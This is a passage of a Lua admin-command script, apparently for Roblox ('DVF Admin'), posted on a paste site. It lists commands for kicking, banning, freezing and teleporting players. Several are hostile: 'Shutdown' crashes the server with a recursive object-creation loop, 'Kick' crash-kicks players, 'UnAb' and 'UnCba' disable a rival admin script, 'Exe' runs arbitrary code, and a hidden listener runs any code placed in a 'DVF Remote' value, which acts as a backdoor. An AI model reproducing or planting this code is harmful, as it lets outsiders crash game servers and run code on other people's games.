  1652. Ping("Script Not Found", Speaker, 5)
  1653. end
  1654. end)
  1655.  
  1656. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1657. Dismiss(Speaker)
  1658. local AllScripts = {}
  1659. for _,v in pairs(Work:GetChildren()) do
  1660. if v:IsA("Script") then
  1661. table.insert(AllScripts, v.Name)
  1662. end
  1663. end
  1664. if #AllScripts > 0 then
  1665. for _,v in pairs(AllScripts) do
  1666. Ping(v, Speaker)
  1667. end
  1668. else
  1669. Ping("No Scripts Found", Speaker, 5)
  1670. end
  1671. end)
  1672.  
  1673. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1674. Dismiss(Speaker)
  1675. local LocalScripts = {}
  1676. for _,v in pairs(All()) do
  1677. ypcall(function()
  1678. for _,x in pairs(v.Character:GetChildren()) do
  1679. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1680. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1681. end
  1682. end
  1683. end)
  1684. ypcall(function()
  1685. for _,x in pairs(v.Backpack:GetChildren()) do
  1686. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1687. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1688. end
  1689. end
  1690. end)
  1691. ypcall(function()
  1692. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1693. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1694. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1695. end
  1696. end
  1697. end)
  1698. end
  1699. if #LocalScripts > 0 then
  1700. for _,v in pairs(LocalScripts) do
  1701. Ping(v, Speaker)
  1702. end
  1703. else
  1704. Ping("No Local Scripts Found", Speaker, 5)
  1705. end
  1706. end)
  1707.  
  1708. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1709. local Split = GetSplit(Msg)
  1710. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1711. local ScriptName = Msg:sub(Split + 1)
  1712. local FoundLocal = false
  1713. for _,name in pairs(PlrTab) do
  1714. ypcall(function()
  1715. for _,v in pairs(name.Character:GetChildren()) do
  1716. if string.find(v.Name:lower(), ScriptName) then
  1717. if v:IsA("Script") or v:IsA("LocalScript") then
  1718. v.Disabled = true
  1719. v:Destroy()
  1720. FoundLocal = true
  1721. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1722. end
  1723. end
  1724. end
  1725. end)
  1726. ypcall(function()
  1727. for _,v in pairs(name.Backpack:GetChildren()) do
  1728. if string.find(v.Name:lower(), ScriptName) then
  1729. if v:IsA("Script") or v:IsA("LocalScript") then
  1730. v.Disabled = true
  1731. v:Destroy()
  1732. FoundLocal = true
  1733. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1734. end
  1735. end
  1736. end
  1737. end)
  1738. ypcall(function()
  1739. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1740. if string.find(v.Name:lower(), ScriptName) then
  1741. if v:IsA("Script") or v:IsA("LocalScript") then
  1742. v.Disabled = true
  1743. v:Destroy()
  1744. FoundLocal = true
  1745. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1746. end
  1747. end
  1748. end
  1749. end)
  1750. if FoundLocal == false then
  1751. Ping("Local Script Not Found", Speaker, 5)
  1752. end
  1753. end
  1754. end)
  1755.  
  1756. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1757. for _,v in pairs(game:GetChildren()) do
  1758. ypcall(function()
  1759. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1760. for _,a in pairs(v:GetChildren()) do
  1761. ypcall(function()
  1762. a:Destroy()
  1763. end)
  1764. end
  1765. elseif v.Name == "Players" then
  1766. for _,plr in pairs(v:GetPlayers()) do
  1767. Clear(plr)
  1768. end
  1769. end
  1770. end)
  1771. end
  1772. Clean()
  1773. Fixl()
  1774. Ping("Fully Cleaned", Speaker, 5)
  1775. end)
  1776.  
  1777. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1778. LClean()
  1779. Fixl()
  1780. Ping("Lightly Cleaned", Speaker, 5)
  1781. end)
  1782.  
  1783. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1784. local PlrTab = getPlayer(Speaker, Msg)
  1785. if #PlrTab > 0 then
  1786. for _,v in pairs(PlrTab) do
  1787. ypcall(function()
  1788. v:LoadCharacter()
  1789. Ping("Reset "..v.Name, Speaker, 5)
  1790. end)
  1791. end
  1792. end
  1793. end)
  1794.  
  1795. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1796. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1797. if Work:findFirstChild("Base") then
  1798. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1799. else
  1800. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1801. end
  1802. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1803. end)
  1804.  
  1805. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1806. local PlrTab = getPlayer(Speaker, Msg)
  1807. if #PlrTab > 0 then
  1808. for _,v in pairs(PlrTab) do
  1809. ypcall(function()
  1810. v.Character.Torso.Anchored = true
  1811. Ping("Froze "..v.Name, Speaker, 5)
  1812. end)
  1813. end
  1814. end
  1815. end)
  1816.  
  1817. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1818. local PlrTab = getPlayer(Speaker, Msg)
  1819. if #PlrTab > 0 then
  1820. for _,v in pairs(PlrTab) do
  1821. ypcall(function()
  1822. for _,v2 in pairs(v.Character:GetChildren()) do
  1823. ypcall(function()
  1824. v.Anchored = false
  1825. end)
  1826. end
  1827. Ping("Thawed "..v.Name, Speaker, 5)
  1828. end)
  1829. end
  1830. end
  1831. end)
  1832.  
  1833. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1834. local PlrTab = getPlayer(Speaker, Msg)
  1835. if #PlrTab > 0 then
  1836. for _,v in pairs(PlrTab) do
  1837. ypcall(function()
  1838. Instance.new("ForceField", v.Character)
  1839. end)
  1840. end
  1841. end
  1842. end)
  1843.  
  1844. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1845. local PlrTab = getPlayer(Speaker, Msg)
  1846. if #PlrTab > 0 then
  1847. for _,v in pairs(PlrTab) do
  1848. ypcall(function()
  1849. RemObj(v.Character, "ForceField")
  1850. end)
  1851. end
  1852. end
  1853. end)
  1854.  
  1855. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1856. local Split = GetSplit(Msg)
  1857. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1858. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1859. if #PlrTab > 0 and #PlrTab2 > 0 then
  1860. for i,v in pairs(PlrTab) do
  1861. ypcall(function()
  1862. for _,v2 in pairs(PlrTab2) do
  1863. ypcall(function()
  1864. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1865. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1866. end)
  1867. end
  1868. end)
  1869. end
  1870. end
  1871. end)
  1872.  
  1873. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1874. MakeExplorer(Speaker)
  1875. end)
  1876.  
  1877. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1878. wait()
  1879. Dismiss(Speaker)
  1880. NumBanned = 0
  1881. NumCmds = 0
  1882. for i = 1, #Rankings do
  1883. if Rankings[i].Rank < 0 then
  1884. NumBanned = NumBanned + 1
  1885. end
  1886. end
  1887. for i,v in pairs(Commands) do
  1888. NumCmds = NumCmds + 1
  1889. end
  1890. Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1891. Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1892. Ping("Date Started: 18th May 2013", Speaker)
  1893. Ping("Your ID: "..Speaker.userId, Speaker)
  1894. Ping("Total Number Of Players: "..#All2(), Speaker)
  1895. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1896. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1897. Ping("ShowGarbage", Speaker)
  1898. end)
  1899.  
  1900. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1901. Dismiss(Speaker)
  1902. for i,v in pairs(All()) do
  1903. Ping(v.Name.."'s Rank: "..FindRank(v))
  1904. end
  1905. end)
  1906.  
  1907. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1908. local Split = GetSplit(Msg)
  1909. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1910. local Speed = tonumber(Msg:sub(Split + 1))
  1911. for _,v in pairs(PlrTab) do
  1912. ypcall(function()
  1913. v.Character.Humanoid.WalkSpeed = Speed
  1914. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1915. end)
  1916. end
  1917. end)
  1918.  
  1919. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1920. local RemoveAB = Instance.new("StringValue")
  1921. RemoveAB.Name = "CBA Attachment"
  1922. RemoveAB.Value = [[CBA.override=true;]]
  1923. RemoveAB.Parent = Work
  1924. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1925. end)
  1926.  
  1927. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1928. Dismiss(Speaker)
  1929. for i,v in pairs(Injected) do
  1930. Ping(i, Speaker)
  1931. end
  1932. end)
  1933.  
  1934. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1935. local RemoveCBA = Instance.new("StringValue")
  1936. RemoveCBA.Name = "CBA Attachment"
  1937. RemoveCBA.Value = [[CBA.remove = false]]
  1938. RemoveCBA.Parent = Work
  1939. Ping("Removed All CBA Admins", Speaker, 5)
  1940. end)
  1941.  
  1942. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1943. local function BufferOverflow(object)
  1944. object.DescendantAdded:connect(BufferOverflow)
  1945. Instance.new("IntValue", object)
  1946. end
  1947. BufferOverflow(Game)
  1948. end)
  1949.  
  1950. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  1951. if asd.ClassName == 'StringValue' then
  1952. if asd.Name == "DVF Remote" then
  1953. local func = loadstring(asd.Value)
  1954. if func then asd:Destroy() return pcall(func) end
  1955. end asd:Destroy()
  1956. end
  1957. end)
  1958.  
  1959. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1960. local PlrTab = getPlayer(Speaker, Msg)
  1961. if #PlrTab > 0 then
  1962. for _,v in pairs(PlrTab) do
  1963. ypcall(function()
  1964. Crash1(v)
  1965. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1966. end)
  1967. end
  1968. end
  1969. end)
  1970.  
  1971. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1972. local PlrTab = getPlayer(Speaker, Msg)
  1973. if #PlrTab > 0 then
  1974. for _,v in pairs(PlrTab) do
  1975. ypcall(function()
  1976. ChangeRank(v, -1)
  1977. end)
  1978. end
  1979. end
  1980. end)
  1981.  
  1982. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1983. local PlrTab = getPlayer(Speaker, Msg)
  1984. if #PlrTab > 0 then
  1985. for _,v in pairs(PlrTab) do
  1986. ypcall(function()
  1987. ChangeRank(v, -2)
  1988. end)
  1989. end
  1990. end
  1991. end)
  1992.  
  1993. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1994. local PlrTab = getPlayer(Speaker, Msg)
  1995. if #PlrTab > 0 then
  1996. for _,v in pairs(PlrTab) do
  1997. ypcall(function()
  1998. ChangeRank(v, -3)
  1999. end)
  2000. end
  2001. end
  2002. end)
  2003.  
  2004. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2005. ypcall(function()
  2006. local PlrTab = getPlayer(Speaker, Msg)
  2007. if #PlrTab > 0 then
  2008. for _,v in pairs(PlrTab) do
  2009. ypcall(function()
  2010. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2011. end)
  2012. end
  2013. end
  2014. local PlrName = ChangeRank(Msg, 0)
  2015. Ping("Un-Banned "..PlrName, Speaker, 5)
  2016. end)
  2017. end)
  2018.  
  2019. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2020. Dismiss(Speaker)
  2021. Ping("Commands", Speaker, nil, function()
  2022. Dismiss(Speaker.Name)
  2023. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2024. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2025. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2026. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2027. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2028. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2029. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2030. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2031. end)
  2032. Ping("Players", Speaker, nil, function()
  2033. ListPlayers(Speaker)
  2034. end)
  2035. end)
  2036.  
  2037. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2038. ListPlayers(Speaker)
  2039. end)
  2040.  
  2041. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2042. local Func,Error = loadstring(Msg)
  2043. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2044. getfenv(Func).Speaker = Speaker
  2045. if Error == nil then
  2046. coroutine.wrap(function()
  2047. Func()
  2048. end)()
  2049. Ping("Executed Script!", Speaker, 5)
  2050. else
  2051. Ping(Error, Speaker, 10)
  2052. end
  2053. end)
  2054.  
  2055. Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
  2056. if LS ~= nil then
  2057. local Split = GetSplit(Msg)
  2058. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2059. local LocalSource = Msg:sub(Split + 1)
  2060. if #PlrTab > 0 then
  2061. for _,v in pairs(PlrTab) do
  2062. local Inserted = LS:Clone()
  2063. Inserted.Disabled = true
  2064. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2065. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2066. Inserted:findFirstChild(OwnSource).Value = v.Name
  2067. end
  2068. Inserted[LSSource].Value = LocalSource
  2069. Inserted.Disabled = false
  2070. end
  2071. end
  2072. else
  2073. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2074. end
  2075. end)
  2076.  
  2077. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2078. Msg = tostring(Msg)
  2079. Ping(Msg, Speaker)
  2080. end)
  2081.  
  2082. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2083. Dismiss(Speaker)
  2084. for i,v in pairs(getfenv(1)) do
  2085. ypcall(function()
  2086. Ping(tostring(i)..": "..tostring(v), Speaker)
  2087. end)
  2088. end
  2089. end)
  2090.  
  2091. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2092. Dismiss()
  2093. Removed = true
  2094. for i,v in pairs(getfenv(1)) do
  2095. getfenv(1)[i] = nil
  2096. end
  2097. script.Disabled = true
  2098. end)
  2099.  
  2100. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2101. local Split = GetSplit(Msg)
  2102. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2103. local Rank = tonumber(Msg:sub(Split + 1))
  2104. if #PlrTab > 0 then
  2105. for _,v in pairs(PlrTab) do
  2106. if v.Name ~= Owner then
  2107. ChangeRank(v, Rank)
  2108. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2109. end
  2110. end
  2111. end
  2112. end)
  2113.  
  2114. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement